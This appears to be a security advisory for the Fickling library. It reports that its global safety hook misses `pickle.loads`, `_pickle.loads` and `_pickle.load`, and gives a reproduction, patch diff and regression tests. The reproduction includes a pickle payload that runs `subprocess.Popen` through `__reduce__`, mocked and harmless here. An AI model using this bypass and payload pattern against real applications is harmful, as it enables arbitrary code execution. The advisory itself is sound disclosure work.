Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked

Summary

# Assessment

The missing pickle entrypoints `pickle.loads`, `_pickle.loads`, and `_pickle.load` were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

# Original report

## Summary `fickling.always_check_safety()` does not hook all pickle entry points. `pickle.loads`, `_pickle.loads`, and `_pickle.load` remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

## Affected versions `<= 0.1.8` (verified on current upstream HEAD as of 2026-03-03)

## Non-duplication check against published Fickling GHSAs No published advisory covers hook-coverage bypass in `run_hook()`. Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

## Root cause `run_hook()` patches only: - `pickle.load` - `pickle.Unpickler` - `_pickle.Unpickler`

It does not patch: - `pickle.loads` - `_pickle.load` - `_pickle.loads`

## Reproduction (clean upstream) ```python import io, pickle, _pickle from unittest.mock import patch import fickling from fickling.exception import UnsafeFileError

class Payload: def __reduce__(self): import subprocess return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload()) fickling.always_check_safety()

# Bypass path with patch('subprocess.Popen') as popen_mock: pickle.loads(data) print('bypass sink called?', popen_mock.called) # True

# Control path is blocked with patch('subprocess.Popen') as popen_mock: try: pickle.load(io.BytesIO(data)) except UnsafeFileError: pass print('blocked sink called?', popen_mock.called) # False ```

Observed on vulnerable code: - `pickle.loads` executes payload - `pickle.load` is blocked

## Minimal patch diff ```diff --- a/fickling/hook.py +++ b/fickling/hook.py @@ def run_hook(): - pickle.load = loader.load + pickle.load = loader.load + _pickle.load = loader.load + pickle.loads = loader.loads + _pickle.loads = loader.loads ```

## Validation after patch - `pickle.loads`, `_pickle.loads`, and `_pickle.load` all raise `UnsafeFileError` - sink not called in any path

Regression tests added locally: - `test_run_hook_blocks_pickle_loads` - `test_run_hook_blocks__pickle_load_and_loads` in `test/test_security_regressions_20260303.py`

## Impact High-confidence runtime protection bypass for applications that trust `always_check_safety()` as global guard.